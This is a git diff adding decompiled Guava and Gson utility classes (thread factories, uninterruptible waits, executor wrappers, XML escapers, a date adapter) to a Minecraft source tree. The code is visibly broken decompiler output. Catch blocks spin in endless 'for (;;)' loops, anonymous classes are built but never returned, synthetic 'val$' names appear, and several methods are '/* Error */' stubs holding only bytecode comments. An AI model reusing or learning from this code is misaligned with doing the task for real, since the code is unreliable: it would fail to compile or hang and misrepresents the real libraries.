+  private static class PaddedSemaphore extends Semaphore {
+    long q1;
+    long q2;
+    long q3;
+    
+    PaddedSemaphore(int permits) {
+      super(false);
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/ThreadFactoryBuilder.java b/src/minecraft/com/google/common/util/concurrent/ThreadFactoryBuilder.java
new file mode 100644
index 0000000..8fbe0e0
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/ThreadFactoryBuilder.java
@@ -0,0 +1,179 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.base.Preconditions;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ThreadFactory;
+import java.util.concurrent.atomic.AtomicLong;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ThreadFactoryBuilder
+{
+  private String nameFormat = null;
+  private Boolean daemon = null;
+  private Integer priority = null;
+  private Thread.UncaughtExceptionHandler uncaughtExceptionHandler = null;
+  private ThreadFactory backingThreadFactory = null;
+  
+
+
+
+
+
+
+
+
+  public ThreadFactoryBuilder() {}
+  
+
+
+
+
+
+
+
+  public ThreadFactoryBuilder setNameFormat(String nameFormat)
+  {
+    String.format(nameFormat, new Object[] { Integer.valueOf(0) });
+    this.nameFormat = nameFormat;
+    return this;
+  }
+  
+
+
+
+
+
+
+  public ThreadFactoryBuilder setDaemon(boolean daemon)
+  {
+    this.daemon = Boolean.valueOf(daemon);
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+  public ThreadFactoryBuilder setPriority(int priority)
+  {
+    Preconditions.checkArgument(priority >= 1, "Thread priority (%s) must be >= %s", new Object[] { Integer.valueOf(priority), Integer.valueOf(1) });
+    
+    Preconditions.checkArgument(priority <= 10, "Thread priority (%s) must be <= %s", new Object[] { Integer.valueOf(priority), Integer.valueOf(10) });
+    
+    this.priority = Integer.valueOf(priority);
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+  public ThreadFactoryBuilder setUncaughtExceptionHandler(Thread.UncaughtExceptionHandler uncaughtExceptionHandler)
+  {
+    this.uncaughtExceptionHandler = ((Thread.UncaughtExceptionHandler)Preconditions.checkNotNull(uncaughtExceptionHandler));
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public ThreadFactoryBuilder setThreadFactory(ThreadFactory backingThreadFactory)
+  {
+    this.backingThreadFactory = ((ThreadFactory)Preconditions.checkNotNull(backingThreadFactory));
+    return this;
+  }
+  
+
+
+
+
+
+
+
+  public ThreadFactory build()
+  {
+    return build(this);
+  }
+  
+  private static ThreadFactory build(ThreadFactoryBuilder builder) {
+    final String nameFormat = builder.nameFormat;
+    final Boolean daemon = builder.daemon;
+    final Integer priority = builder.priority;
+    final Thread.UncaughtExceptionHandler uncaughtExceptionHandler = builder.uncaughtExceptionHandler;
+    
+    ThreadFactory backingThreadFactory = builder.backingThreadFactory != null ? builder.backingThreadFactory : Executors.defaultThreadFactory();
+    
+
+
+    final AtomicLong count = nameFormat != null ? new AtomicLong(0L) : null;
+    new ThreadFactory() {
+      public Thread newThread(Runnable runnable) {
+        Thread thread = val$backingThreadFactory.newThread(runnable);
+        if (nameFormat != null) {
+          thread.setName(String.format(nameFormat, new Object[] { Long.valueOf(count.getAndIncrement()) }));
+        }
+        if (daemon != null) {
+          thread.setDaemon(daemon.booleanValue());
+        }
+        if (priority != null) {
+          thread.setPriority(priority.intValue());
+        }
+        if (uncaughtExceptionHandler != null) {
+          thread.setUncaughtExceptionHandler(uncaughtExceptionHandler);
+        }
+        return thread;
+      }
+    };
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/TimeLimiter.java b/src/minecraft/com/google/common/util/concurrent/TimeLimiter.java
new file mode 100644
index 0000000..8ab23d0
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/TimeLimiter.java
@@ -0,0 +1,14 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.Beta;
+import java.util.concurrent.Callable;
+import java.util.concurrent.TimeUnit;
+
+@Beta
+public abstract interface TimeLimiter
+{
+  public abstract <T> T newProxy(T paramT, Class<T> paramClass, long paramLong, TimeUnit paramTimeUnit);
+  
+  public abstract <T> T callWithTimeout(Callable<T> paramCallable, long paramLong, TimeUnit paramTimeUnit, boolean paramBoolean)
+    throws Exception;
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/UncaughtExceptionHandlers.java b/src/minecraft/com/google/common/util/concurrent/UncaughtExceptionHandlers.java
new file mode 100644
index 0000000..923a9ae
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/UncaughtExceptionHandlers.java
@@ -0,0 +1,76 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.VisibleForTesting;
+import java.io.PrintStream;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class UncaughtExceptionHandlers
+{
+  private UncaughtExceptionHandlers() {}
+  
+  public static Thread.UncaughtExceptionHandler systemExit() { return new Exiter(Runtime.getRuntime()); }
+  
+  @VisibleForTesting
+  static final class Exiter implements Thread.UncaughtExceptionHandler {
+    private static final Logger logger = Logger.getLogger(Exiter.class.getName());
+    private final Runtime runtime;
+    
+    Exiter(Runtime runtime)
+    {
+      this.runtime = runtime;
+    }
+    
+    public void uncaughtException(Thread t, Throwable e)
+    {
+      try {
+        logger.log(Level.SEVERE, String.format("Caught an exception in %s.  Shutting down.", new Object[] { t }), e);
+      }
+      catch (Throwable errorInLogging)
+      {
+        System.err.println(e.getMessage());
+        System.err.println(errorInLogging.getMessage());
+      } finally {
+        runtime.exit(1);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/UncheckedExecutionException.java b/src/minecraft/com/google/common/util/concurrent/UncheckedExecutionException.java
new file mode 100644
index 0000000..33d1cf9
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/UncheckedExecutionException.java
@@ -0,0 +1,67 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.GwtCompatible;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public class UncheckedExecutionException
+  extends RuntimeException
+{
+  private static final long serialVersionUID = 0L;
+  
+  protected UncheckedExecutionException() {}
+  
+  protected UncheckedExecutionException(@Nullable String message)
+  {
+    super(message);
+  }
+  
+
+
+  public UncheckedExecutionException(@Nullable String message, @Nullable Throwable cause)
+  {
+    super(message, cause);
+  }
+  
+
+
+  public UncheckedExecutionException(@Nullable Throwable cause)
+  {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/UncheckedTimeoutException.java b/src/minecraft/com/google/common/util/concurrent/UncheckedTimeoutException.java
new file mode 100644
index 0000000..ee9705a
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/UncheckedTimeoutException.java
@@ -0,0 +1,41 @@
+package com.google.common.util.concurrent;
+
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class UncheckedTimeoutException
+  extends RuntimeException
+{
+  private static final long serialVersionUID = 0L;
+  
+  public UncheckedTimeoutException() {}
+  
+  public UncheckedTimeoutException(@Nullable String message)
+  {
+    super(message);
+  }
+  
+  public UncheckedTimeoutException(@Nullable Throwable cause) {
+    super(cause);
+  }
+  
+  public UncheckedTimeoutException(@Nullable String message, @Nullable Throwable cause) {
+    super(message, cause);
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/Uninterruptibles.java b/src/minecraft/com/google/common/util/concurrent/Uninterruptibles.java
new file mode 100644
index 0000000..da8d08d
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/Uninterruptibles.java
@@ -0,0 +1,444 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.Beta;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Future;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class Uninterruptibles
+{
+  public static void awaitUninterruptibly(CountDownLatch latch)
+  {
+    boolean interrupted = false;
+    
+    try
+    {
+      latch.await();
+    } catch (InterruptedException e) {
+      for (;;) {
+        interrupted = true;
+      }
+    }
+    finally {
+      if (interrupted) {
+        Thread.currentThread().interrupt();
+      }
+    }
+  }
+  
+  /* Error */
+  public static boolean awaitUninterruptibly(CountDownLatch latch, long timeout, java.util.concurrent.TimeUnit unit)
+  {
+    // Byte code:
+    //   0: iconst_0
+    //   1: istore 4
+    //   3: aload_3
+    //   4: lload_1
+    //   5: invokevirtual 5	java/util/concurrent/TimeUnit:toNanos	(J)J
+    //   8: lstore 5
+    //   10: invokestatic 6	java/lang/System:nanoTime	()J
+    //   13: lload 5
+    //   15: ladd
+    //   16: lstore 7
+    //   18: aload_0
+    //   19: lload 5
+    //   21: getstatic 7	java/util/concurrent/TimeUnit:NANOSECONDS	Ljava/util/concurrent/TimeUnit;
+    //   24: invokevirtual 8	java/util/concurrent/CountDownLatch:await	(JLjava/util/concurrent/TimeUnit;)Z
+    //   27: istore 9
+    //   29: iload 4
+    //   31: ifeq +9 -> 40
+    //   34: invokestatic 2	java/lang/Thread:currentThread	()Ljava/lang/Thread;
+    //   37: invokevirtual 3	java/lang/Thread:interrupt	()V
+    //   40: iload 9
+    //   42: ireturn
+    //   43: astore 9
+    //   45: iconst_1
+    //   46: istore 4
+    //   48: lload 7
+    //   50: invokestatic 6	java/lang/System:nanoTime	()J
+    //   53: lsub
+    //   54: lstore 5
+    //   56: goto -38 -> 18
+    //   59: astore 10
+    //   61: iload 4
+    //   63: ifeq +9 -> 72
+    //   66: invokestatic 2	java/lang/Thread:currentThread	()Ljava/lang/Thread;
+    //   69: invokevirtual 3	java/lang/Thread:interrupt	()V
+    //   72: aload 10
+    //   74: athrow
+    // Line number table:
+    //   Java source line #75	-> byte code offset #0
+    //   Java source line #77	-> byte code offset #3
+    //   Java source line #78	-> byte code offset #10
+    //   Java source line #83	-> byte code offset #18
+    //   Java source line #90	-> byte code offset #29
+    //   Java source line #91	-> byte code offset #34
+    //   Java source line #84	-> byte code offset #43
+    //   Java source line #85	-> byte code offset #45
+    //   Java source line #86	-> byte code offset #48
+    //   Java source line #87	-> byte code offset #56
+    //   Java source line #90	-> byte code offset #59
+    //   Java source line #91	-> byte code offset #66
+    // Local variable table:
+    //   start	length	slot	name	signature
+    //   0	75	0	latch	CountDownLatch
+    //   0	75	1	timeout	long
+    //   0	75	3	unit	java.util.concurrent.TimeUnit
+    //   1	61	4	interrupted	boolean
+    //   8	47	5	remainingNanos	long
+    //   16	33	7	end	long
+    //   27	14	9	bool1	boolean
+    //   43	3	9	e	InterruptedException
+    //   59	14	10	localObject	Object
+    // Exception table:
+    //   from	to	target	type
+    //   18	29	43	java/lang/InterruptedException
+    //   3	29	59	finally
+    //   43	61	59	finally
+  }
+  
+  public static void joinUninterruptibly(Thread toJoin)
+  {
+    boolean interrupted = false;
+    
+    try
+    {
+      toJoin.join();
+    } catch (InterruptedException e) {
+      for (;;) {
+        interrupted = true;
+      }
+    }
+    finally {
+      if (interrupted) {
+        Thread.currentThread().interrupt();
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static <V> V getUninterruptibly(Future<V> future)
+    throws ExecutionException
+  {
+    boolean interrupted = false;
+    
+    try
+    {
+      return future.get();
+    } catch (InterruptedException e) {
+      for (;;) { interrupted = true;
+      }
+    }
+    finally {
+      if (interrupted) {
+        Thread.currentThread().interrupt();
+      }
+    }
+  }
+  
+  /* Error */
+  public static <V> V getUninterruptibly(Future<V> future, long timeout, java.util.concurrent.TimeUnit unit)
+    throws ExecutionException, java.util.concurrent.TimeoutException
+  {
+    // Byte code:
+    //   0: iconst_0
+    //   1: istore 4
+    //   3: aload_3
+    //   4: lload_1
+    //   5: invokevirtual 5	java/util/concurrent/TimeUnit:toNanos	(J)J
+    //   8: lstore 5
+    //   10: invokestatic 6	java/lang/System:nanoTime	()J
+    //   13: lload 5
+    //   15: ladd
+    //   16: lstore 7
+    //   18: aload_0
+    //   19: lload 5
+    //   21: getstatic 7	java/util/concurrent/TimeUnit:NANOSECONDS	Ljava/util/concurrent/TimeUnit;
+    //   24: invokeinterface 11 4 0
+    //   29: astore 9
+    //   31: iload 4
+    //   33: ifeq +9 -> 42
+    //   36: invokestatic 2	java/lang/Thread:currentThread	()Ljava/lang/Thread;
+    //   39: invokevirtual 3	java/lang/Thread:interrupt	()V
+    //   42: aload 9
+    //   44: areturn
+    //   45: astore 9
+    //   47: iconst_1
+    //   48: istore 4
+    //   50: lload 7
+    //   52: invokestatic 6	java/lang/System:nanoTime	()J
+    //   55: lsub
+    //   56: lstore 5
+    //   58: goto -40 -> 18
+    //   61: astore 10
+    //   63: iload 4
+    //   65: ifeq +9 -> 74
+    //   68: invokestatic 2	java/lang/Thread:currentThread	()Ljava/lang/Thread;
+    //   71: invokevirtual 3	java/lang/Thread:interrupt	()V
+    //   74: aload 10
+    //   76: athrow
+    // Line number table:
+    //   Java source line #163	-> byte code offset #0
+    //   Java source line #165	-> byte code offset #3
+    //   Java source line #166	-> byte code offset #10
+    //   Java source line #171	-> byte code offset #18
+    //   Java source line #178	-> byte code offset #31
+    //   Java source line #179	-> byte code offset #36
+    //   Java source line #172	-> byte code offset #45
+    //   Java source line #173	-> byte code offset #47
+    //   Java source line #174	-> byte code offset #50
+    //   Java source line #175	-> byte code offset #58
+    //   Java source line #178	-> byte code offset #61
+    //   Java source line #179	-> byte code offset #68
+    // Local variable table:
+    //   start	length	slot	name	signature
+    //   0	77	0	future	Future<V>
+    //   0	77	1	timeout	long
+    //   0	77	3	unit	java.util.concurrent.TimeUnit
+    //   1	63	4	interrupted	boolean
+    //   8	49	5	remainingNanos	long
+    //   16	35	7	end	long
+    //   29	14	9	localObject1	Object
+    //   45	3	9	e	InterruptedException
+    //   61	14	10	localObject2	Object
+    // Exception table:
+    //   from	to	target	type
+    //   18	31	45	java/lang/InterruptedException
+    //   3	31	61	finally
+    //   45	63	61	finally
+  }
+  
+  /* Error */
+  public static void joinUninterruptibly(Thread toJoin, long timeout, java.util.concurrent.TimeUnit unit)
+  {
+    // Byte code:
+    //   0: aload_0
+    //   1: invokestatic 12	com/google/common/base/Preconditions:checkNotNull	(Ljava/lang/Object;)Ljava/lang/Object;
+    //   4: pop
+    //   5: iconst_0
+    //   6: istore 4
+    //   8: aload_3
+    //   9: lload_1
+    //   10: invokevirtual 5	java/util/concurrent/TimeUnit:toNanos	(J)J
+    //   13: lstore 5
+    //   15: invokestatic 6	java/lang/System:nanoTime	()J
+    //   18: lload 5
+    //   20: ladd
+    //   21: lstore 7
+    //   23: getstatic 7	java/util/concurrent/TimeUnit:NANOSECONDS	Ljava/util/concurrent/TimeUnit;
+    //   26: aload_0
+    //   27: lload 5
+    //   29: invokevirtual 13	java/util/concurrent/TimeUnit:timedJoin	(Ljava/lang/Thread;J)V
+    //   32: iload 4
+    //   34: ifeq +9 -> 43
+    //   37: invokestatic 2	java/lang/Thread:currentThread	()Ljava/lang/Thread;
+    //   40: invokevirtual 3	java/lang/Thread:interrupt	()V
+    //   43: return
+    //   44: astore 9
+    //   46: iconst_1
+    //   47: istore 4
+    //   49: lload 7
+    //   51: invokestatic 6	java/lang/System:nanoTime	()J
+    //   54: lsub
+    //   55: lstore 5
+    //   57: goto -34 -> 23
+    //   60: astore 10
+    //   62: iload 4
+    //   64: ifeq +9 -> 73
+    //   67: invokestatic 2	java/lang/Thread:currentThread	()Ljava/lang/Thread;
+    //   70: invokevirtual 3	java/lang/Thread:interrupt	()V
+    //   73: aload 10
+    //   75: athrow
+    // Line number table:
+    //   Java source line #191	-> byte code offset #0
+    //   Java source line #192	-> byte code offset #5
+    //   Java source line #194	-> byte code offset #8
+    //   Java source line #195	-> byte code offset #15
+    //   Java source line #199	-> byte code offset #23
+    //   Java source line #207	-> byte code offset #32
+    //   Java source line #208	-> byte code offset #37
+    //   Java source line #201	-> byte code offset #44
+    //   Java source line #202	-> byte code offset #46
+    //   Java source line #203	-> byte code offset #49
+    //   Java source line #204	-> byte code offset #57
+    //   Java source line #207	-> byte code offset #60
+    //   Java source line #208	-> byte code offset #67
+    // Local variable table:
+    //   start	length	slot	name	signature
+    //   0	76	0	toJoin	Thread
+    //   0	76	1	timeout	long
+    //   0	76	3	unit	java.util.concurrent.TimeUnit
+    //   6	57	4	interrupted	boolean
+    //   13	43	5	remainingNanos	long
+    //   21	29	7	end	long
+    //   44	3	9	e	InterruptedException
+    //   60	14	10	localObject	Object
+    // Exception table:
+    //   from	to	target	type
+    //   23	32	44	java/lang/InterruptedException
+    //   8	32	60	finally
+    //   44	62	60	finally
+  }
+  
+  public static <E> E takeUninterruptibly(BlockingQueue<E> queue)
+  {
+    boolean interrupted = false;
+    
+    try
+    {
+      return queue.take();
+    } catch (InterruptedException e) {
+      for (;;) { interrupted = true;
+      }
+    }
+    finally {
+      if (interrupted) {
+        Thread.currentThread().interrupt();
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public static <E> void putUninterruptibly(BlockingQueue<E> queue, E element)
+  {
+    boolean interrupted = false;
+    
+    try
+    {
+      queue.put(element);
+    } catch (InterruptedException e) {
+      for (;;) {
+        interrupted = true;
+      }
+    }
+    finally {
+      if (interrupted) {
+        Thread.currentThread().interrupt();
+      }
+    }
+  }
+  
+  /* Error */
+  public static void sleepUninterruptibly(long sleepFor, java.util.concurrent.TimeUnit unit)
+  {
+    // Byte code:
+    //   0: iconst_0
+    //   1: istore_3
+    //   2: aload_2
+    //   3: lload_0
+    //   4: invokevirtual 5	java/util/concurrent/TimeUnit:toNanos	(J)J
+    //   7: lstore 4
+    //   9: invokestatic 6	java/lang/System:nanoTime	()J
+    //   12: lload 4
+    //   14: ladd
+    //   15: lstore 6
+    //   17: getstatic 7	java/util/concurrent/TimeUnit:NANOSECONDS	Ljava/util/concurrent/TimeUnit;
+    //   20: lload 4
+    //   22: invokevirtual 16	java/util/concurrent/TimeUnit:sleep	(J)V
+    //   25: iload_3
+    //   26: ifeq +9 -> 35
+    //   29: invokestatic 2	java/lang/Thread:currentThread	()Ljava/lang/Thread;
+    //   32: invokevirtual 3	java/lang/Thread:interrupt	()V
+    //   35: return
+    //   36: astore 8
+    //   38: iconst_1
+    //   39: istore_3
+    //   40: lload 6
+    //   42: invokestatic 6	java/lang/System:nanoTime	()J
+    //   45: lsub
+    //   46: lstore 4
+    //   48: goto -31 -> 17
+    //   51: astore 9
+    //   53: iload_3
+    //   54: ifeq +9 -> 63
+    //   57: invokestatic 2	java/lang/Thread:currentThread	()Ljava/lang/Thread;
+    //   60: invokevirtual 3	java/lang/Thread:interrupt	()V
+    //   63: aload 9
+    //   65: athrow
+    // Line number table:
+    //   Java source line #266	-> byte code offset #0
+    //   Java source line #268	-> byte code offset #2
+    //   Java source line #269	-> byte code offset #9
+    //   Java source line #273	-> byte code offset #17
+    //   Java source line #281	-> byte code offset #25
+    //   Java source line #282	-> byte code offset #29
+    //   Java source line #275	-> byte code offset #36
+    //   Java source line #276	-> byte code offset #38
+    //   Java source line #277	-> byte code offset #40
+    //   Java source line #278	-> byte code offset #48
+    //   Java source line #281	-> byte code offset #51
+    //   Java source line #282	-> byte code offset #57
+    // Local variable table:
+    //   start	length	slot	name	signature
+    //   0	66	0	sleepFor	long
+    //   0	66	2	unit	java.util.concurrent.TimeUnit
+    //   1	53	3	interrupted	boolean
+    //   7	40	4	remainingNanos	long
+    //   15	26	6	end	long
+    //   36	3	8	e	InterruptedException
+    //   51	13	9	localObject	Object
+    // Exception table:
+    //   from	to	target	type
+    //   17	25	36	java/lang/InterruptedException
+    //   2	25	51	finally
+    //   36	53	51	finally
+  }
+  
+  private Uninterruptibles() {}
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/WrappingExecutorService.java b/src/minecraft/com/google/common/util/concurrent/WrappingExecutorService.java
new file mode 100644
index 0000000..e2f4b12
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/WrappingExecutorService.java
@@ -0,0 +1,166 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.base.Preconditions;
+import com.google.common.base.Throwables;
+import com.google.common.collect.ImmutableList;
+import com.google.common.collect.ImmutableList.Builder;
+import java.util.Collection;
+import java.util.List;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class WrappingExecutorService
+  implements ExecutorService
+{
+  private final ExecutorService delegate;
+  
+  protected WrappingExecutorService(ExecutorService delegate)
+  {
+    this.delegate = ((ExecutorService)Preconditions.checkNotNull(delegate));
+  }
+  
+
+
+
+
+  protected abstract <T> Callable<T> wrapTask(Callable<T> paramCallable);
+  
+
+
+
+
+  protected Runnable wrapTask(Runnable command)
+  {
+    final Callable<Object> wrapped = wrapTask(Executors.callable(command, null));
+    
+    new Runnable() {
+      public void run() {
+        try {
+          wrapped.call();
+        } catch (Exception e) {
+          Throwables.propagate(e);
+        }
+      }
+    };
+  }
+  
+
+
+
+
+
+  private final <T> ImmutableList<Callable<T>> wrapTasks(Collection<? extends Callable<T>> tasks)
+  {
+    ImmutableList.Builder<Callable<T>> builder = ImmutableList.builder();
+    for (Callable<T> task : tasks) {
+      builder.add(wrapTask(task));
+    }
+    return builder.build();
+  }
+  
+
+  public final void execute(Runnable command)
+  {
+    delegate.execute(wrapTask(command));
+  }
+  
+  public final <T> Future<T> submit(Callable<T> task)
+  {
+    return delegate.submit(wrapTask((Callable)Preconditions.checkNotNull(task)));
+  }
+  
+  public final Future<?> submit(Runnable task)
+  {
+    return delegate.submit(wrapTask(task));
+  }
+  
+  public final <T> Future<T> submit(Runnable task, T result)
+  {
+    return delegate.submit(wrapTask(task), result);
+  }
+  
+  public final <T> List<Future<T>> invokeAll(Collection<? extends Callable<T>> tasks)
+    throws InterruptedException
+  {
+    return delegate.invokeAll(wrapTasks(tasks));
+  }
+  
+
+  public final <T> List<Future<T>> invokeAll(Collection<? extends Callable<T>> tasks, long timeout, TimeUnit unit)
+    throws InterruptedException
+  {
+    return delegate.invokeAll(wrapTasks(tasks), timeout, unit);
+  }
+  
+  public final <T> T invokeAny(Collection<? extends Callable<T>> tasks)
+    throws InterruptedException, ExecutionException
+  {
+    return delegate.invokeAny(wrapTasks(tasks));
+  }
+  
+
+  public final <T> T invokeAny(Collection<? extends Callable<T>> tasks, long timeout, TimeUnit unit)
+    throws InterruptedException, ExecutionException, TimeoutException
+  {
+    return delegate.invokeAny(wrapTasks(tasks), timeout, unit);
+  }
+  
+
+
+  public final void shutdown()
+  {
+    delegate.shutdown();
+  }
+  
+  public final List<Runnable> shutdownNow()
+  {
+    return delegate.shutdownNow();
+  }
+  
+  public final boolean isShutdown()
+  {
+    return delegate.isShutdown();
+  }
+  
+  public final boolean isTerminated()
+  {
+    return delegate.isTerminated();
+  }
+  
+  public final boolean awaitTermination(long timeout, TimeUnit unit)
+    throws InterruptedException
+  {
+    return delegate.awaitTermination(timeout, unit);
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/WrappingScheduledExecutorService.java b/src/minecraft/com/google/common/util/concurrent/WrappingScheduledExecutorService.java
new file mode 100644
index 0000000..04f25b7
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/WrappingScheduledExecutorService.java
@@ -0,0 +1,61 @@
+package com.google.common.util.concurrent;
+
+import java.util.concurrent.Callable;
+import java.util.concurrent.ScheduledExecutorService;
+import java.util.concurrent.ScheduledFuture;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class WrappingScheduledExecutorService
+  extends WrappingExecutorService
+  implements ScheduledExecutorService
+{
+  final ScheduledExecutorService delegate;
+  
+  protected WrappingScheduledExecutorService(ScheduledExecutorService delegate)
+  {
+    super(delegate);
+    this.delegate = delegate;
+  }
+  
+  public final ScheduledFuture<?> schedule(Runnable command, long delay, TimeUnit unit)
+  {
+    return delegate.schedule(wrapTask(command), delay, unit);
+  }
+  
+  public final <V> ScheduledFuture<V> schedule(Callable<V> task, long delay, TimeUnit unit)
+  {
+    return delegate.schedule(wrapTask(task), delay, unit);
+  }
+  
+
+  public final ScheduledFuture<?> scheduleAtFixedRate(Runnable command, long initialDelay, long period, TimeUnit unit)
+  {
+    return delegate.scheduleAtFixedRate(wrapTask(command), initialDelay, period, unit);
+  }
+  
+
+  public final ScheduledFuture<?> scheduleWithFixedDelay(Runnable command, long initialDelay, long delay, TimeUnit unit)
+  {
+    return delegate.scheduleWithFixedDelay(wrapTask(command), initialDelay, delay, unit);
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/package-info.java b/src/minecraft/com/google/common/util/concurrent/package-info.java
new file mode 100644
index 0000000..7495a00
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/package-info.java
@@ -0,0 +1,6 @@
+package com.google.common.util.concurrent;
+
+import javax.annotation.ParametersAreNonnullByDefault;
+
+@ParametersAreNonnullByDefault
+abstract interface package-info {}
diff --git a/src/minecraft/com/google/common/xml/XmlEscapers.java b/src/minecraft/com/google/common/xml/XmlEscapers.java
new file mode 100644
index 0000000..c77f27c
--- /dev/null
+++ b/src/minecraft/com/google/common/xml/XmlEscapers.java
@@ -0,0 +1,149 @@
+package com.google.common.xml;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.escape.Escaper;
+import com.google.common.escape.Escapers;
+import com.google.common.escape.Escapers.Builder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+public class XmlEscapers
+{
+  private static final char MIN_ASCII_CONTROL_CHAR = '\000';
+  private static final char MAX_ASCII_CONTROL_CHAR = '\037';
+  private static final Escaper XML_ESCAPER;
+  private static final Escaper XML_CONTENT_ESCAPER;
+  private static final Escaper XML_ATTRIBUTE_ESCAPER;
+  
+  private XmlEscapers() {}
+  
+  public static Escaper xmlContentEscaper()
+  {
+    return XML_CONTENT_ESCAPER;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Escaper xmlAttributeEscaper()
+  {
+    return XML_ATTRIBUTE_ESCAPER;
+  }
+  
+
+
+  static
+  {
+    Escapers.Builder builder = Escapers.builder();
+    
+
+
+
+    builder.setSafeRange('\000', 65535);
+    
+    builder.setUnsafeReplacement("");
+    
+
+
+
+
+
+    for (char c = '\000'; c <= '\037'; c = (char)(c + '\001')) {
+      if ((c != '\t') && (c != '\n') && (c != '\r')) {
+        builder.addEscape(c, "");
+      }
+    }
+    
+
+
+    builder.addEscape('&', "&amp;");
+    builder.addEscape('<', "&lt;");
+    builder.addEscape('>', "&gt;");
+    XML_CONTENT_ESCAPER = builder.build();
+    builder.addEscape('\'', "&apos;");
+    builder.addEscape('"', "&quot;");
+    XML_ESCAPER = builder.build();
+    builder.addEscape('\t', "&#x9;");
+    builder.addEscape('\n', "&#xA;");
+    builder.addEscape('\r', "&#xD;");
+    XML_ATTRIBUTE_ESCAPER = builder.build();
+  }
+}
diff --git a/src/minecraft/com/google/common/xml/package-info.java b/src/minecraft/com/google/common/xml/package-info.java
new file mode 100644
index 0000000..9086dc1
--- /dev/null
+++ b/src/minecraft/com/google/common/xml/package-info.java
@@ -0,0 +1,6 @@
+package com.google.common.xml;
+
+import javax.annotation.ParametersAreNonnullByDefault;
+
+@ParametersAreNonnullByDefault
+abstract interface package-info {}
diff --git a/src/minecraft/com/google/gson/DefaultDateTypeAdapter.java b/src/minecraft/com/google/gson/DefaultDateTypeAdapter.java
new file mode 100644
index 0000000..c761c33
--- /dev/null
+++ b/src/minecraft/com/google/gson/DefaultDateTypeAdapter.java
@@ -0,0 +1,119 @@
+package com.google.gson;
+
+import java.lang.reflect.Type;
+import java.sql.Timestamp;
+import java.text.DateFormat;
+import java.text.ParseException;
+import java.text.SimpleDateFormat;
+import java.util.Locale;
+import java.util.TimeZone;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class DefaultDateTypeAdapter
+  implements JsonSerializer<java.util.Date>, JsonDeserializer<java.util.Date>
+{
+  private final DateFormat enUsFormat;
+  private final DateFormat localFormat;
+  private final DateFormat iso8601Format;
+  
+  DefaultDateTypeAdapter()
+  {
+    this(DateFormat.getDateTimeInstance(2, 2, Locale.US), DateFormat.getDateTimeInstance(2, 2));
+  }
+  
+  DefaultDateTypeAdapter(String datePattern)
+  {
+    this(new SimpleDateFormat(datePattern, Locale.US), new SimpleDateFormat(datePattern));
+  }
+  
+  DefaultDateTypeAdapter(int style) {
+    this(DateFormat.getDateInstance(style, Locale.US), DateFormat.getDateInstance(style));
+  }
+  
+  public DefaultDateTypeAdapter(int dateStyle, int timeStyle) {
